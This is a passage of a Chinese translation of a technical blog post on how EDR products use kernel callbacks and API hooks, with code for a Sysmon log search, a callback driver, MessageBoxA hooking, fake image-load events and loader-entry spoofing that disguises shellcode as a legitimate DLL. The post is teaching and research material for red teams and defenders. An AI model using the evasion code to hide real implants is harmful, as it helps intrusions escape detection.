漩涡:EDR内核回调、钩子和调用堆栈 译者序 本文来自:Maelstrom: EDR Kernel Callbacks, Hooks, and Call Stack,版权归原作者所有。 译者从事HIDS/HIPS等领域,与EDR安全产品场景类似。从本篇文章中,也学到了Windows系统上的HOOK知识,了解了攻击手法,故翻译整理出来,分享给大家。感谢翻译工具OpenAI Translator。 介绍 为了回顾一下这个系列,我们从总体上看了一个命令和控制服务器(C2)的高级目的和意图,到设计和实现我们第一个植入物和服务器。如果你一直在跟随着做,你可能会认为自己已经写出了一个 C2 这是一种常见的心态。根据我们的经验,在达到这个点上并不需要太多复杂性。我们之前所有的工作都可以很容易地通过使用 C#、Python、Go 等语言在疯狂喝咖啡打字的晚上轻松完成(而且已经完成过!)。C2 的主要特点通常可以与软件工程中相当古老且解决方案明确的概念和模式联系起来,例如线程管理、处理空闲进程以及确保正确执行程序流。 但正如我们编写各种 C2 时发现的那样,并且许多其他攻击性开发人员编写他们自己的植入物和服务器时也发现了同样问题:一旦代码运行良好并能获得 pingback 后,您就停止在开发计算机上运行您的植入物并尝试在第二台计算机上运行它。这就是问题开始浮现之处。比如“为什么我无法访问远程文件?”,“为什么我可以通过这个协议进行出站请求,但不能通过那个协议?”,“为什么这个命令只是失败了而没有解释”,以及对于有足够的冒名顶替综合症的愤世嫉俗者,“为什么 Defender 没有阻止我做这件事?”。 就我们个人而言,这篇文章是我们期待写作的。它将是一个讨论,并附带一些示例,介绍在具有主动端点保护环境中越来越常见的行为。在 2022 年,植入物面临着更多审查——植入物和 C2 运营商必须准备好面对或规避此类审查,而防御者必须了解其工作原理,以便最大限度地利用它。 在撰写本文时,我们还想澄清关于“它避开了<插入公司名称> EDR”的推文。虽然该植入物能够执行操作并不意味着端点保护程序看不到它——可能会如此,但我们想演示一些这些解决方案用于识别恶意行为并引起对植入物怀疑的技术。 简而言之,执行的证明并不等于逃避的证明。 目的 这篇文章将涵盖以下内容: 设置 The Hunting ELK 审查三种EDR可以检测或阻止恶意执行的方式: Kernel Callbacks Hooking Thread Call Stacks 通过本篇文章的阅读,我们将了解到现代EDR如何保护免受恶意植入物的攻击以及这些保护措施如何被绕过。我们将从一个技术上可行但实际无法达成操作目标的植入物转变为对如何编写能够实际工作并能够达成操作者目标的植入物有所认识。 正如我们多次强调的那样,我们不会创建一个可用于操作的C2。本系列输出内容质量较差且存在缺陷 - 它只足以作为一种破碎证明特定主题中讨论内容正确性的概念验证代码,以避免该代码被恶意使用。出于同样原因,我们试图避免在本系列中讨论红队操作策略。然而随着文章深入,很明显与已经受到妥协用户典型行为相融合是有效的。这是 xpn在Twitter上曾经谈论过的话题: Find Confluence, read Confluence.. become the employee! — Adam Chester (@xpn) January 22, 2022 如果您的植入物已被EDR标记,查询每个AD加入计算机上的NetSessionEnum以查找活动会话可能不是典型用户行为。直到它停止响应,您可能不知道自己的植入物已被标记。从这里开始,就要竞赛了,直到您的植入物上传到VirusTotal,然后您必须重新开始规划。 在本博客中我们将经常提到以下程序: The Hunting ELK (HELK):HELK是Elastic堆栈最好由他们自己总结的开源狩猎平台之一:> The Hunting ELK或简称HELK是第一个具有高级分析功能(如SQL声明性语言、图形、结构化流和甚至通过Jupyter笔记本和Apache Spark进行机器学习)ELK堆栈上的开源狩猎平台之一。 该项目主要用于研究,但由于其灵活设计和核心组件,可以在正确配置和可扩展基础设施下部署在更大环境中。 PreEmpt:伪EDR,具有消化EtwTi、内存扫描器、钩子等功能。虽然这不是公开的,但在必要时将共享代码。 这两个工具将允许我们在需要时生成概念验证数据。 重要概念 与Maelstrom: Writing a C2 Implant类似,我们希望有一个专门的部分来澄清一些在继续之前需要一些背景知识的主题。 我们所说的端点检测和响应是什么意思 端点检测和响应(EDR)软件有许多不同的缩写,不同公司的程序及其功能可能存在区别。为简单起见,我们称所有仅限于静态扫描磁盘文件的程序为“反病毒”,而将所有进一步扫描设备内存、查看程序运行时行为并在发生威胁时进行响应的程序称为“EDR”。这些可能被称为各种名称,包括XDR、MDR或普通AV。 在本系列中,正如我们迄今所做的那样,我们将坚持使用“EDR”。 关于此问题一个很好的概述是CrowdStrike发布了“What is Endpoint Detection and Response (EDR)”。 端点检测和响应(EDR),也称为端点检测和威胁响应(EDTR),是一种端点安全解决方案,可持续监视最终用户设备以侦测和应对勒索软件和恶意软件等网络威胁。 EDR由Gartner的Anton Chuvakin创造,被定义为“记录并存储端点系统级行为,使用各种数据分析技术来检测可疑的系统行为,提供上下文信息、阻止恶意活动,并提供修复建议以恢复受影响的系统。” 因为这与本帖子相关,下一节将介绍EDR架构并比较不同厂商之间的EDR行为。我们不会大量偏离主题地涉及其他相关领域,例如反病毒软件如何工作、基于磁盘保护如何防止植入执行(如果您仍在运行磁盘)、AntiVirus和EDR实际上是如何扫描文件及其行为的。结果证明,那就像一个完整的学科领域。 常见的EDR架构 在讨论端点保护时,了解其架构可能会有所帮助。Symantec EDR Architecture 的架构大致如下: 类似的方法也可以看到 Defender for Endpoint 中。基本上,安装该产品的设备将具有代理程序,其中包括几个驱动程序和进程,这些驱动程序和进程从机器的各个方面收集遥测数据。通过本文和下一篇文章,我们将介绍其中一些。 顺便说一句,在Windows环境中,Microsoft天生就占据优势。虽然这目前针对“大型企业”客户(或者至少我们认为是这样,考虑到他们在Azure上的价格!),但Microsoft Defender和新版Defender MDE都可以访问Microsoft对...自己操作系统的知识,并影响新操作系统功能的开发。长期来看,不难想象微软Defender MDE会以类似于微软Defender影响反病毒市场的方式影响EDR市场。 所有EDR通常都是从代理发送遥测数据到云端,在那里通过各种沙盒和其他测试设备运行,并且可以由机器和人员操作员进一步分析其行为。 对于过度好奇的读者,以下链接详细介绍了特定供应商的EDR架构方法: EDR Architecture (Bitdefender) EDR Security | Move Beyond Traditional Endpoint Detection and Response (paloalto Networks) Symantec EDR architecture (Symantec) Onboarding using Microsoft Endpoint Manager (Microsoft) 简要回顾和比较高级别的EDR行为 不想离题太远,就像并非每个红队评估都是红队一样,并非每个EDR都是真正的EDR。以下Gartner Magic Quadrant来自Gartner 2021年5月报告,大致勾画了EDR领域的格局。值得注意的是,CrowdStrike雇佣 Alex Ionescu(ReactOS内核维护者)表明目前最佳实践的EDR在很大程度上利用了对Windows内部功能知识以提高其性能: 由于许多EDR功能依赖于我们将在此处讨论的方法(例如定制编写直接行为、如内核回调和挂钩),因此能够快速实现新Microsoft Windows特性并开发自己可靠地与恶意进程交互和中断方式似乎是现代EDR与同行区分开来的显著特点。 另一个EDR供应商倾向使用且尤其因报告公开而使用的度量标准是Mitre Enginuity。攻击评估描述如下: MITRE Engenuity ATT&CK® 评估(Evals)计划将产品和服务提供商与MITRE专家合作,共同评估安全解决方案。Evals过程采用基于威胁的紫队方法应用系统化方法,以捕获关于解决方案能力的关键上下文,该能力可以检测或保护免受ATT&CK知识库定义的已知对手行为。每次评估的结果都会得到彻底记录并公开发布。 例如,在SentinelOne中,其结果可在以下链接中查看:SentinelOne概述。概述介绍了APT场景,并标记了是否检测到该技术,并可用作其“有效性”的跟踪器。然而,一些人在线上表达了这不是确定产品效果的全面方式。 从购买角度来看EDR时,有几种确定有效性的方法值得考虑,并在此简要介绍它们。主要考虑因素是某些供应商未必比杀毒软件提供更多功能。与任何产品一样,请确保为您的业务需求购买正确的解决方案。 用户空间和内核空间 在讨论内核和用户空间模型时,将使用以下架构图像,这对任何计算机科学毕业生来说都很熟悉: 绝大多数用户活动将发生在第3环(User Mode),令人惊讶的是内核在Kernel Mode中运行。 有关更多信息,请参见Windows编程/用户模式与内核模式。值得注意的是,用户模式和内核模式之间可以并且确实会发生交叉。 前面链接中的以下定义总结了这些层之间的差异: Ring0(也称为kernel mode)具有对每个资源的完全访问权限。它是Windows内核运行的方式。 Ring1和Ring2可以定制不同级别的访问权限,但通常不使用,除非存在虚拟机。 Ring3(也称为user mode)对资源具有受限制的访问权限。 再次为了避免本帖子变得比已经很长还要长,请参阅Windows组件概述文档以获取有关下图更详细信息。然而,它只是显示了从进程、服务等到内核的Windows架构。我们很快会更详细地介绍这个问题。 使用WinAPI的应用程序将穿过到在Kernel Mode中运行的Native API(NTAPI)。 例如,可以使用API Monitor查看正在执行的调用: 上面显示了CreateThread被调用,然后不久之后又被调用NtCreateThreadEx。 当调用KERNEL32.DLL中的函数时,例如CreateThread,它将对NTDLL.DLL中相应的NTAPI进行后续调用。例如,CreateThread 调用 NtCreateThreadEx。此函数将RAX寄存器填充为系统服务号(SSN)。最后,NTDLL.dll将发出一个SYSENTER指令。然后会导致处理器切换到内核模式,并跳转到预定义的函数,称为系统服务分发程序。 以下图像来自Rootkits: Subverting the Windows Kernel,在Userland Hooks部分中: 驱动程序 驱动程序是Windows的软件组件,它允许操作系统和设备进行通信。以下是来自什么是驱动程序?的一个例子: 例如,假设应用程序需要从某个设备读取一些数据。应用程序调用由操作系统实现的函数,而操作系统调用由驱动程序实现的函数。该驱动程序由设计和制造该设备的同一公司编写,知道如何与设备硬件通信以获取数据。在驱动程序从设备获取数据之后,它将数据返回给操作系统,然后再将其返回给应用程序。 对于终端保护而言,有几个原因使得驱动非常有用: 使用回调对象(Callback Objects),这允许在发生某些事件时调用一个函数。例如,在稍后我们将看到使用 PsSetLoadImageNotifyRoutine 的 DLL 加载回调对象。 访问 Windows 威胁情报事件跟踪中只能通过 ELAM 驱动从内核访问的特权信息。 Hooking 声明:在继续之前,请务必观看 REcon 2015 - Hooking Nirvana (Alex Ionescu),请在观看完毕后再回到本帖。 EDR 的另一个常见特性是用户空间 Hooking DLL。通常,这些 DLL 会在进程创建时加载,并用于通过自身代理 WinAPI 调用以评估使用情况,然后重定向到正在使用的任何 DLL。例如,如果正在使用 VirtualAlloc,则流程将如下所示: 钩子允许通过在函数地址处放置 jmp 指令来拦截 WinAPI 调用进行函数插装。此 jmp 将重定向调用的流程。我们将在以下部分中查看其实际操作方式。通过挂钩函数调用,作者可以: 评估参数 允许执行 阻止执行 这不是详尽无遗的列表,但应该足以演示我们运行植入物时最经常遇到的功能。 其中一些例子包括: 了解并绕过 AMSI:通过挂钩 AmsiScanBuffer 调用来绕过 AMSI。 RDPThief:拦截并读取 RDP 凭据。 Windows API Hooking:重定向 MessageBoxA。 导入地址表(IAT)挂钩:重定向 MessageBoxA。 通过 Hooking msv1_0!SpAcceptCredentials 拦截登录凭据:拦截并读取 msv1_0!SpAcceptCredentials 的凭据。 保护堆:加密和 Hooks:Hook RtlAllocateHeap,RtlReAllocateHeap LdrLoadDll Hook: 防止 DLL 被加载 狩猎ELK 为了不必从头开始编写所有令人生畏的逻辑就能访问我们的内核回调,我们将使用[狩猎ELK(HELK)]: 狩猎ELK或简称HELK是最早具有高级分析功能(如SQL声明语言、图形化、结构化流和甚至通过Jupyter笔记本和Apache Spark进行机器学习)的开源狩猎平台之一。该项目主要用于研究,但由于其灵活的设计和核心组件,可以在正确配置和可扩展基础设施下部署到更大规模的环境中。 HELK:安装 高级Windows日志记录-查找AV遗漏内容 我们还使用以下脚本来自探索DLL加载、链接和执行以搜索Sysmon日志: param ( [string]$Loader = "", [string]$dll = "" ) $eventId = 7 $logName = "Microsoft-Windows-Sysmon/Operational" $Yesterday = (Get-Date).AddHours(-1) $events = Get-WinEvent -FilterHashtable @{logname=$logName; id=$eventId ;StartTime = $Yesterday;} foreach($event in $events) { $msg = $event.Message.ToString() $image = ($msg|Select-String -Pattern 'Image:.*').Matches.Value.Replace("Image: ", "") $imageLoaded = ($msg|Select-String -Pattern 'ImageLoaded:.*').Matches.Value.Replace("ImageLoaded: ", "") if($image.ToLower().contains($Loader.ToLower()) -And $imageLoaded.ToLower().Contains($dll.ToLower())) { Write-Host Image Loaded $imageLoaded } } 内核回调 内核回调,根据微软的说法: > 内核的回调机制提供了一种通用方式,使驱动程序能够在满足某些条件时请求和提供通知。 本质上,它们允许驱动程序接收和处理特定事件的通知。从veil-ivy/block_create_process.cpp中可以看到使用PsSetLoadImageNotifyRoutine 回调来阻止进程创建的实现: #include <ntddk.h> #define BLOCK_PROCESS "notepad.exe" static OB_CALLBACK_REGISTRATION obcallback_registration; static OB_OPERATION_REGISTRATION oboperation_callback; #define PROCESS_CREATE_THREAD (0x0002) #define PROCESS_CREATE_PROCESS (0x0080) #define PROCESS_TERMINATE (0x0001) #define PROCESS_VM_WRITE (0x0020) #define PROCESS_VM_READ (0x0010) #define PROCESS_VM_OPERATION (0x0008) #define PROCESS_SUSPEND_RESUME (0x0800) static PVOID registry = NULL; static UNICODE_STRING altitude = RTL_CONSTANT_STRING(L"300000"); //1: kd > dt nt!_EPROCESS ImageFileName //+ 0x5a8 ImageFileName : [15] UChar static const unsigned int imagefilename_offset = 0x5a8; auto drv_unload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); ObUnRegisterCallbacks(registry); } OB_PREOP_CALLBACK_STATUS PreOperationCallback( _In_ PVOID RegistrationContext, _Inout_ POB_PRE_OPERATION_INFORMATION PreInfo ) { UNREFERENCED_PARAMETER(RegistrationContext); if (strcmp(BLOCK_PROCESS, (char*)PreInfo->Object + imagefilename_offset) == 0) { if ((PreInfo->Operation == OB_OPERATION_HANDLE_CREATE)) { if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_TERMINATE) == PROCESS_TERMINATE) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE; } if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_READ) == PROCESS_VM_READ) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ; } if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_OPERATION) == PROCESS_VM_OPERATION) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION; } if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_WRITE) == PROCESS_VM_WRITE) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_WRITE; } } } return OB_PREOP_SUCCESS; } VOID PostOperationCallback( _In_ PVOID RegistrationContext, _In_ POB_POST_OPERATION_INFORMATION PostInfo ) { UNREFERENCED_PARAMETER(RegistrationContext); UNREFERENCED_PARAMETER(PostInfo); } extern "C" auto DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) -> NTSTATUS { UNREFERENCED_PARAMETER(RegistryPath); DriverObject->DriverUnload = drv_unload; auto status = STATUS_SUCCESS; static OB_CALLBACK_REGISTRATION ob_callback_register; static OB_OPERATION_REGISTRATION oboperation_registration; oboperation_registration.Operations = OB_OPERATION_HANDLE_CREATE; oboperation_registration.ObjectType = PsProcessType; oboperation_registration.PreOperation = PreOperationCallback; oboperation_registration.PostOperation = PostOperationCallback; ob_callback_register.Altitude = altitude; ob_callback_register.Version = OB_FLT_REGISTRATION_VERSION; ob_callback_register.OperationRegistrationCount = 1; ob_callback_register.OperationRegistration = &oboperation_registration; status = ObRegisterCallbacks(&ob_callback_register, ®istry); if (!NT_SUCCESS(status)) { DbgPrint("failed to register callback: %x \r\n",status); } return status; } 在这个例子中,ObRegisterCallbacks 被用来阻止 notepad 的创建。一个终端保护解决方案可能不会以这种方式使用它,但很可能会使用此类回调作为遥测来确定是否发生了恶意活动。 在本节中,我们将讨论 PsSetLoadImageNotifyRoutine。该回调负责确切地执行其名称:当图像被加载到进程中时发送通知。有关示例实现,请参见从内核驱动程序订阅进程创建、线程创建和图像加载通知。 触发回调 要理解 PsSetLoadImageNotifyRoutine 如何工作,我们需要确定它的触发器是什么。 假设以下代码: #include <windows.h> #include <stdio.h> int main() { HMODULE hModule = LoadLibraryA("winhttp.dll"); printf("WinHTTP: 0x%p\n", hModule); return 0; } 当调用LoadLibraryA时,该函数会注册一个回调来通知驱动程序已经发生了这种情况。为了在HELK中查看此日志,我们使用之前提到的脚本。如果我们过滤掉上面的代码中的 main.exe ,我们可以看到 winhttp.dll 已加载: 在Elastic中,我们也可以使用以下KQL: process_name : "main.exe" and event_id: 7 and ImageLoaded: winhttp.dll event_original_message保存整个日志: Image loaded: RuleName: - UtcTime: 2022-04-29 18:50:10.780 ProcessGuid: {3ebcda8b-3362-626c-a200-000000004f00} ProcessId: 6716 Image: C:\Users\admin\Desktop\main.exe ImageLoaded: C:\Windows\System32\winhttp.dll FileVersion: 10.0.19041.1620 (WinBuild.160101.0800) Description: Windows HTTP Services Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: winhttp.dll Hashes: SHA1=4F2A9BB575D38DBDC8DBB25A82BDF1AC0C41E78C,MD5=FB2B6347C25118C3AE19E9903C85B451,SHA256=989B2DFD70526098366AB722865C71643181F9DCB8E7954DA643AA4A84F3EBF0,IMPHASH=0597CE736881E784CC576C58367E6FEA Signed: true Signature: Microsoft Windows SignatureStatus: Valid User: PUNCTURE\admin 为了查看这是在做什么,我们可以浏览 ReactOS source code: LoadLibraryA LoadLibraryExA LoadLibraryExW LdrLoadDll LdrpLoadDll LdrpCreateDllSection 这对于熟悉它的工作方式很有帮助。但是,在 Bypassing Image Load Kernel Callbacks中,由 batsec确定触发器位于 NtCreateSection 调用中,然后在LdrpCreateDllSection中调用。因此,我们不需要花太多时间进行调试以找到它。 欺骗payload 在batsec的文章中,他们展示了以下代码可以使用来刷屏上述事件: #include <stdio.h> #include <windows.h> #include <winternl.h> #define DLL_TO_FAKE_LOAD L"\\??\\C:\\windows\\system32\\calc.exe" BOOL FakeImageLoad() { HANDLE hFile; SIZE_T stSize = 0; NTSTATUS ntStatus = 0; UNICODE_STRING objectName; HANDLE SectionHandle = NULL; PVOID BaseAddress = NULL; IO_STATUS_BLOCK IoStatusBlock; OBJECT_ATTRIBUTES objectAttributes = { 0 }; RtlInitUnicodeString( &objectName, DLL_TO_FAKE_LOAD ); InitializeObjectAttributes( &objectAttributes, &objectName, OBJ_CASE_INSENSITIVE, NULL, NULL ); ntStatus = NtOpenFile( &hFile, 0x100021, &objectAttributes, &IoStatusBlock, 5, 0x60 ); ntStatus = NtCreateSection( &SectionHandle, 0xd, NULL, NULL, 0x10, SEC_IMAGE, hFile ); ntStatus = NtMapViewOfSection( SectionHandle, (HANDLE)0xFFFFFFFFFFFFFFFF, &BaseAddress, NULL, NULL, NULL, &stSize, 0x1, 0x800000, 0x80 ); NtClose(SectionHandle); } int main() { for (INT i = 0; i < 10000; i++) { FakeImageLoad(); } return 0; } 以下截图也来自该博客文章: batsec 发现,通过调用 NtCreateSection,可以在不实际加载 DLL 的情况下发送事件。同样地,欺骗行为可以被某种程度上武器化/操纵以执行其他操作,方法是更新 LDR_DATA_TABLE_ENTRY 结构体: typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 在这个例子中,我们将毫无理由地使用 CertEnroll.dll: UNICODE_STRING uFullPath; UNICODE_STRING uFileName; WCHAR* dllPath = L"C:\\Windows\\System32\\CertEnroll.dll"; WCHAR* dllName = L"CertEnroll.dll"; RtlInitUnicodeString(&uFullPath, dllPath); RtlInitUnicodeString(&uFileName, dllName); 现在我们只需要逐步遍历结构并填写所需的信息。 Load Time: status = NtQuerySystemTime(&pLdrEntry2->LoadTime); Load Reason (LDR_DLL_LOAD_REASON): pLdrEntry2->LoadReason = LoadReasonDynamicLoad; 因为加载器需要模块基地址,所以我们在这里只加载 CALC.EXE 的 shellcode(稍后我们将更详细地讨论此部分): SIZE_T bufSz = sizeof(buf); LPVOID pAddress = VirtualAllocEx(hProcess, 0, bufSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(pAddress, buf, sizeof(buf)); 哈希的基本名称(RtlHashUnicodeString): pLdrEntry2->BaseNameHashValue = UnicodeToHash(uFileName, FALSE); 填写结构体的其余部分: pLdrEntry2->ImageDll = TRUE; pLdrEntry2->LoadNotificationsSent = TRUE; pLdrEntry2->EntryProcessed = TRUE; pLdrEntry2->InLegacyLists = TRUE; pLdrEntry2->InIndexes = TRUE; pLdrEntry2->ProcessAttachCalled = TRUE; pLdrEntry2->InExceptionTable = FALSE; pLdrEntry2->OriginalBase = (ULONG_PTR)pAddress; pLdrEntry2->DllBase = pAddress; pLdrEntry2->SizeOfImage = 6969; pLdrEntry2->TimeDateStamp = 0; pLdrEntry2->BaseDllName = uFileName; pLdrEntry2->FullDllName = uFullPath; pLdrEntry2->ObsoleteLoadCount = 1; pLdrEntry2->Flags = LDRP_IMAGE_DLL | LDRP_ENTRY_INSERTED | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED; 完成 DdagNode 结构体: pLdrEntry2->DdagNode = (PLDR_DDAG_NODE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LDR_DDAG_NODE)); if (!pLdrEntry2->DdagNode) { return -1; } pLdrEntry2->NodeModuleLink.Flink = &pLdrEntry2->DdagNode->Modules; pLdrEntry2->NodeModuleLink.Blink = &pLdrEntry2->DdagNode->Modules; pLdrEntry2->DdagNode->Modules.Flink = &pLdrEntry2->NodeModuleLink; pLdrEntry2->DdagNode->Modules.Blink = &pLdrEntry2->NodeModuleLink; pLdrEntry2->DdagNode->State = LdrModulesReadyToRun; pLdrEntry2->DdagNode->LoadCount = 1; 这是它的演示: 在上面,可以看到CertEnroll.dll被加载到spoof-load.exe进程中。请记住,这并没有被加载。在这里发生的唯一事情就是传递了该DLL的字符串。然后我们告诉加载器该DLL的基地址是shellcode的基地址: 查看此技术,有两个明显的用例: 将植入物基址(C2IMPLANT.REFLECTIVE.DLL)绑定到合法DLL(ADVAP32.DLL),使其看起来不那么可疑 通过加载ADVAPI32.DLL但将其指向WinHTTP.DLL基址来删除IOC库(WinHTTP.DLL)。 绕过回调 我们不会在这里重新发明轮子,在Bypassing Image Load Kernel Callbacks中已经很好地解释了它。本质上,为了使回调不触发,需要重写完整的装载程序。该研究得出结论DarkLoadLibrary: 实际上,“DarkLoadLibrary”是“LoadLibrary”的一个实现,它不会触发图像装载事件。它还具有许多额外的功能,可以在恶意软件开发期间使生活更轻松。 这个库的概念验证用法来自DLL Shenanigans。 让我们检查一下: 然后运行上述3个命令: dark-loader使用LOAD_LOCAL_FILE标志从磁盘加载磁盘,就像LoadLibraryA一样。 搜索图像装载日志以查找Kernel32以确保找到了日志。 搜索winhttp.dll,没有返回值 为避免调用已被识别为注册回调的“NtCreateSection”,将段映射与“NtAllocateVirtualMemory”或“VirtualAlloc”完成,如MapSections()中所示。 内核回调结论 显然,PsSetLoadImageNotifyRoutine 不是唯一的回调函数,还有很多其他可用的回调函数。内核回调函数 有一个(非全面!)列表: CmRegisterCallbackEx() ExAllocateTimer() ExInitializeWorkItem() ExRegisterCallback() FsRtlRegisterFileSystemFilterCallbacks() IoInitializeThreadedDpcRequest() IoQueueWorkItem() IoRegisterBootDriverCallback() IoRegisterContainerNotification() IoRegisterFsRegistrationChangeEx() IoRegisterFsRegistrationChangeMountAware() IoRegisterPlugPlayNotification() IoSetCompletionRoutineEx() IoWMISetNotificationCallback() KeExpandKernelStackAndCalloutEx() KeInitializeApc() KeInitializeDpc() KeRegisterBugCheckCallback() KeRegisterBugCheckReasonCallback() KeRegisterNmiCallback() KeRegisterProcessorChangeCallback() KeRegisterProcessorChangeCallback() ObRegisterCallbacks() PoRegisterDeviceNotify() PoRegisterPowerSettingCallback() PsCreateSystemThread() PsSetCreateProcessNotifyRoutineEx() PsSetCreateThreadNotifyRoutine() PsSetLoadImageNotifyRoutine() SeRegisterLogonSessionTerminatedRoutine() TmEnableCallbacks() 其中一个强大的方法是使用PsSetCreateProcessNotifyRoutineEx(),因为进程创建的通知对于系统遥测来说是致命的。在撰写本文时,我们不知道这个领域有任何研究。虽然说实话,我们也没有去看过。 Hooking 和 进程仪表化 在本节中,我们将介绍一些流行但基础的Hooking技术。 Hooking 示例 在查看一些库之前,让我们先看两个示例 - x86手动Hooks和NtSetProcessInformation回调函数。 手动 Hooks (x86) 使用Windows API Hooking作为x86示例(更容易演示),我们可以将代码改编成以下形式: #include <windows.h> #include <stdio.h> #define BYTES_REQUIRED 6 int __stdcall HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { printf("\n[ HOOKED MESSAGEBOXA ]\n"); printf("-> Arguments:\n"); printf(" 1. lpText: %s\n", lpText); printf(" 2. lpCaption: %s\n", lpCaption); printf(" 3. uType: %ld\n", uType); return 1; } void PrintHexA(char* data, int sz) { printf(" -> "); for (int i = 0; i < sz; i++) { printf("\\x%02hhX", data[i]); } printf("\n"); } int main() { SIZE_T lpNumberOfBytesRead = 0; HMODULE hModule = nullptr; FARPROC pMessageBoxAFunc = nullptr; char pMessageBoxABytes[BYTES_REQUIRED] = {}; void* pHookedMessageBoxFunc = &HookedMessageBoxA; hModule = LoadLibraryA("user32.dll"); if (!hModule) { return -1; } pMessageBoxAFunc = GetProcAddress(hModule, "MessageBoxA"); printf("-> Original MessageBoxA: 0x%p\n", pMessageBoxAFunc); if (ReadProcessMemory(GetCurrentProcess(), pMessageBoxAFunc, pMessageBoxABytes, BYTES_REQUIRED, &lpNumberOfBytesRead) == FALSE) { printf("[!] ReadProcessMemory: %ld\n", GetLastError()); return -1; } printf("-> MessageBoxA Hex:\n"); PrintHexA(pMessageBoxABytes, BYTES_REQUIRED); printf("-> Hooked MessageBoxA: 0x%p\n", pHookedMessageBoxFunc); char patch[BYTES_REQUIRED] = { 0 }; memcpy_s(patch, 1, "\x68", 1); memcpy_s(patch + 1, 4, &pHookedMessageBoxFunc, 4); memcpy_s(patch + 5, 1, "\xC3", 1); printf("-> Patch Hex:\n"); PrintHexA(patch, BYTES_REQUIRED); if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)pMessageBoxAFunc, patch, sizeof(patch), &lpNumberOfBytesRead) == FALSE) { printf("[!] WriteProcessMemory: %ld\n", GetLastError()); return -1; } MessageBoxA(NULL, "AAAAA", "BBBBB", MB_OK); return 0; } 让我们来看一下... 首先,MessageBoxA在User32.dll中,所以我们加载它: hModule = LoadLibraryA("user32.dll"); if (!hModule) { return -1; } 接下来,我们需要USER32!MessageBoxA的地址: pMessageBoxAFunc = GetProcAddress(hModule, "MessageBoxA"); 有了地址,内存字节就可以读取了: if (ReadProcessMemory(GetCurrentProcess(), pMessageBoxAFunc, pMessageBoxABytes, BYTES_REQUIRED, &lpNumberOfBytesRead) == FALSE) { printf("[!] ReadProcessMemory: %ld\n", GetLastError()); return -1; } 这将读取函数调用的前6个字节,稍后将更新为push到新函数,从而导致jmp。 The bytes: \x8B\xFF\x55\x8B\xEC\x83 现在,需要构建补丁。操作如下: char patch[BYTES_REQUIRED] = { 0 }; memcpy_s(patch, 1, "\x68", 1); memcpy_s(patch + 1, 4, &pHookedMessageBoxFunc, 4); memcpy_s(patch + 5, 1, "\xC3", 1); 从此生成的十六进制代码开始: \x68\x12\x12\xBD\x00\xC3 使用defuse.ca将其反汇编,上述内容可以转换为汇编语言: 0: 68 12 12 bd 00 push 0xbd1212 5: c3 ret 请注意,推送的0x00BD1212是我们要跳转到的函数地址,而不是USER32!MessageBoxA调用: void* pHookedMessageBoxFunc = &HookedMessageBoxA; 此时,补丁已准备好。它将使用“push”替换前6个字节以指向新地址。接下来要做的就是实际写入这个新地址: if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)pMessageBoxAFunc, patch, sizeof(patch), &lpNumberOfBytesRead) == FALSE) { printf("[!] WriteProcessMemory: %ld\n", GetLastError()); return -1; } 然后,在反汇编中: 00BB1212 jmp HookedMessageBoxA (0BB1A80h) 添加了一个 jmp 来跳转到新函数。允许此操作运行会调用挂钩的函数并打印参数: int __stdcall HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { printf("\n[ HOOKED MESSAGEBOXA ]\n"); printf("-> Arguments:\n"); printf(" 1. lpText: %s\n", lpText); printf(" 2. lpCaption: %s\n", lpCaption); printf(" 3. uType: %ld\n", uType); return 1; } 运行它: NtSetProcessInformation 回调函数 在 REcon 2015 - Hooking Nirvana (Alex Ionescu) 中,Alex Ionescu 展示了使用 NtSetProcessInformation 和 ProcessInstrumentationCallback 标志进行进程检测的过程。在这个演讲中,Alex 演示了通过回调函数进行钩子操作的过程。设置回调函数非常简单: PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo; InstrumentationCallbackInfo.Version = 0; InstrumentationCallbackInfo.Reserved = 0; InstrumentationCallbackInfo.Callback = CALLBACK_FUNCTION_GOES_HERE; HANDLE hProcess = (HANDLE)-1; HMODULE hNtdll = GetModuleHandleA("ntdll"); if (hNtdll == nullptr) { return FALSE; } _NtSetInformationProcess pNtSetInformationProcess = reinterpret_cast<_NtSetInformationProcess>(GetProcAddress(hNtdll, "NtSetInformationProcess")); if (pNtSetInformationProcess == nullptr) { return FALSE; } NTSTATUS Status = pNtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof(InstrumentationCallbackInfo)); if (NT_SUCCESS(Status)) { return TRUE; } else { return FALSE; } 回调函数包含在以下代码中: InstrumentationCallbackInfo.Callback = 